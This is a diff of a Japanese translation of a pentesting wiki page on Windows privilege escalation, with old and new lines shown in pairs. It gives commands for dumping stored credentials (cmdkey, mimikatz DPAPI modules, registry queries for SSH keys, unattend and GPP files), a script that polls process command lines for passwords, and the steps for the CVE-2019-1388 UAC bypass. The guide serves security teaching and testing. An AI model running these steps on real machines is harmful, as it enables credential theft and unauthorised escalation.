From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させることができるサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存し、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。これは、**リソース**(サーバーまたはウェブサイト)にアクセスするために資格情報を必要とする**WindowsアプリケーションがこのCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できることを意味します。
Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。
アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で**資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります**。
`cmdkey`を使用して、マシン上に保存されている資格情報をリストします。
`cmdkey`を使用して、マシン上に保存され資格情報をリストします。
```bash
cmdkey /list
Currently stored credentials:
@ -734,7 +736,7 @@ DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microso
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
**mimikatzモジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。
**mimikatz モジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。
**マスターパスワードによって保護された資格情報ファイル** は通常、次の場所にあります:
```powershell
@ -743,8 +745,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
あなたは、適切な `/masterkey` を使用して **mimikatz module** `dpapi::cred` を使って復号化できます。\
あなたは、`sekurlsa::dpapi` モジュールを使用して **メモリ** から **多くの DPAPI** **マスタキー** を抽出できます(あなたが root の場合)。
あなたは、適切な `/masterkey` を使用して **mimikatz module** `dpapi::cred` を使って復号化することができます。\
あなたは、`sekurlsa::dpapi` モジュールを使用して **メモリ** から多くの **DPAPI** **masterkeys****抽出** することができます(あなたが root の場合)。
{{#ref}}
dpapi-extracting-passwords.md
@ -752,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell 認証情報
**PowerShell 認証情報** は、暗号化された認証情報を便利に保存する方法として、**スクリプト** および自動化タスクでよく使用されます。認証情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
**PowerShell 認証情報** は、スクリプト作成や自動化タスクのために、暗号化された認証情報を便利に保存する方法としてよく使用されます。認証情報は **DPAPI** を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。
ファイルから PS 認証情報を **復号化** するには、次のようにします:
```powershell
@ -793,7 +795,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### Sticky Notes
人々はしばしば Windows ワークステーション StickyNotes アプリを使用して **パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。
人々はしばしば Windows ワークステーション StickyNotes アプリを使用して **パスワード**やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。
### AppCmd.exe
@ -900,12 +902,12 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
### SSHキーのレジストリ内
SSHプライベートキーはレジストリキー`HKCU\Software\OpenSSH\Agent\Keys`に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
SSHプライベートキーはレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに興味深いものがないか確認する必要があります:
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
そのパス内にエントリが見つかると、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
そのパス内にエントリが見つかった場合、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\
この技術に関する詳細情報はここにあります: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
`ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
```bash
@ -929,7 +931,7 @@ C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
これらのファイルは**metasploit**を使用して検索することもできます: _post/windows/gather/enum_unattend_
これらのファイルは**metasploit**を使用して検索できます: _post/windows/gather/enum_unattend_
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -974,11 +976,11 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
以前は、グループポリシープリファレンスGPPを介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクトGPOは、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させる可能性があるため、深刻なリスクをもたらしました。
以前は、グループポリシープリファレンスGPPを介して、複数のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、XMLファイルとしてSYSVOLに保存されているグループポリシーオブジェクトGPOは、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
`C:\ProgramData\Microsoft\Group Policy\history` または _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**W Vista以前_ でこれらのファイルを探します
これらのファイルを探すには、`C:\ProgramData\Microsoft\Group Policy\history`または_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**W Vista以前_を参照してください
- Groups.xml
- Services.xml
@ -1135,9 +1137,9 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### RecycleBin内の資格情報
資格情報を探すために、Binも確認する必要があります。
資格情報が含まれているかどうかを確認するために、Binもチェックする必要があります。
複数のプログラムによって保存された**パスワードを回復する**には、次のツールを使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
いくつかのプログラムによって保存された**パスワードを回復する**には、次のツールを使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### レジストリ内
@ -1164,7 +1166,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **COM DLLの上書き**
**コンポーネントオブジェクトモデルCOM**は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスIDCLSID**で識別され、各コンポーネントはインターフェースIDIIDs識別される1つ以上のインターフェースを介して機能を公開します。
**コンポーネントオブジェクトモデル (COM)** は、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって**識別され**、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。
COMクラスとインターフェースは、それぞれ**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**および**HKEY\_**_**CLASSES\_**_**ROOT\Interface**のレジストリに定義されています。このレジストリは、**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**をマージすることによって作成されます。
@ -1219,13 +1221,13 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Imagine that **SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低い権限で新しいプロセスを作成し** (`CreateProcess()`) **メインプロセスのすべてのオープンハンドルを継承します**。\
その後、**低い権限のプロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\
[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\
[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Named Pipe Client Impersonation
共有メモリセグメント、すなわち**パイプ**は、プロセス間の通信とデータ転送を可能にします。
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**named pipe server**と**named pipe client**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを越えてデータを共有できます。これは、**named pipe server**と**named pipe client**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
**クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い権限を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)と[**こちら**](#from-high-integrity-to-system)で見つけることができます。
@ -1235,7 +1237,7 @@ Windowsは**Named Pipes**と呼ばれる機能を提供しており、無関係
### **パスワードのためのコマンドラインの監視**
ユーザーとしてシェルを取得すると、**コマンドラインで資格情報を渡す**スケジュールされたタスクや他のプロセスが実行されている可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いを出力します。
ユーザーとしてシェルを取得すると、**コマンドラインで資格情報を渡す**スケジュールされたタスクや他のプロセスが実行されている可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態を前の状態と比較して、違いを出力します。
```powershell
while($true)
{
@ -1245,13 +1247,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
## パスワードの盗難
## パスワードをプロセスから盗む
## 低権限ユーザーからNT\AUTHORITY SYSTEMへの昇格 (CVE-2019-1388) / UACバイパス
## 低権限ユーザーからNT\AUTHORITY SYSTEM (CVE-2019-1388) / UACバイパス
グラフィカルインターフェースコンソールまたはRDP経由にアクセスでき、UACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
これにより、同じ脆弱性を利用して特権を昇格させ、同時にUACをバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。
これにより、特権を昇格させ、同時に同じ脆弱性でUACをバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。
影響を受けるシステムの一部は以下の通りです:
```
@ -1275,7 +1277,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
```
この脆弱性を悪用するには、次の手順を実行する必要があります:
この脆弱性を悪用するには、次のステップを実行する必要があります:
```
1) Right click on the HHUPD.EXE file and run it as Administrator.
@ -1327,17 +1329,17 @@ High Integrity プロセスから、**AlwaysInstallElevated レジストリエ
### High + SeImpersonate privilege to System
**コードは** [**こちらにあります**](seimpersonate-from-high-to-system.md)**。**
**コードは** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。**
### From SeDebug + SeImpersonate to Full Token privileges
これらのトークン権限を持っている場合(おそらくすでに High Integrity プロセスで見つけることができるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)を SeDebug 権限で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\
この技術を使用する際は、通常、**すべてのトークン権限を持つ SYSTEM として実行されている任意のプロセスを選択します**_はい、すべてのトークン権限を持たない SYSTEM プロセスを見つけることができます_。\
**提案された技術を実行するコードの** [**例はこちらにあります**](sedebug-+-seimpersonate-copy-token.md)**。**
**提案された技術を実行するコードの** [**例はこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。**
### **Named Pipes**
この技術は、meterpreter が `getsystem` で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
この技術は、meterpreter が `getsystem` で昇格するために使用されます。この技術は、**パイプを作成し、そのパイプに書き込むサービスを作成/悪用する**ことから成ります。次に、**`SeImpersonate`** 権限を使用してパイプを作成した**サーバー**は、パイプクライアント(サービス)の**トークンを偽装**し、SYSTEM 権限を取得することができます。\
名前付きパイプについて[**もっと学びたい場合はこれを読むべきです**](#named-pipe-client-impersonation)。\
High Integrity から SYSTEM へ名前付きパイプを使用して移行する[**方法の例を読みたい場合はこれを読むべきです**](from-high-integrity-to-system-with-name-pipes.md)。
@ -1367,25 +1369,25 @@ https://github.com/sailay1996/RpcSsImpersonator
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 設定や機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の設定をチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 設定をチェックします**\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 設定ミスや機密ファイルをチェックします (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出されました。**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の設定ミスをチェックし、情報を収集します (**[**こちらを確認**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 設定ミスをチェックします**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出されました。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ADIDNS/LLMNR/mDNS/NBNS スプーフィングおよび中間者攻撃ツールです。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な privesc Windows 列挙**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します(Watson のために非推奨)\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の privesc 脆弱性を検索します(非推奨)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の privesc 脆弱性を検索しますVisualStudio を使用してコンパイルする必要があります) ([**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 誤設定を探してホストを列挙しますprivesc よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 設定ミスを探すためにホストを列挙しますprivesc よりも情報収集ツールに近い)(コンパイルが必要) **(**[**事前コンパイル済み**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多くのソフトウェアから資格情報を抽出しますGitHub に事前コンパイル済み exe**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp の C# へのポート**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 設定をチェックしますGitHub に事前コンパイル済みの実行可能ファイル。推奨されません。Win10 ではうまく動作しません。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な設定をチェックしますPython からの exe。推奨されません。Win10 ではうまく動作しません。
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 設定ミスをチェックしますGitHub に事前コンパイル済みの実行可能ファイル。推奨されません。Win10 ではうまく動作しません。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な設定ミスをチェックしますPython からの exe。推奨されません。Win10 ではうまく動作しません。
**Bat**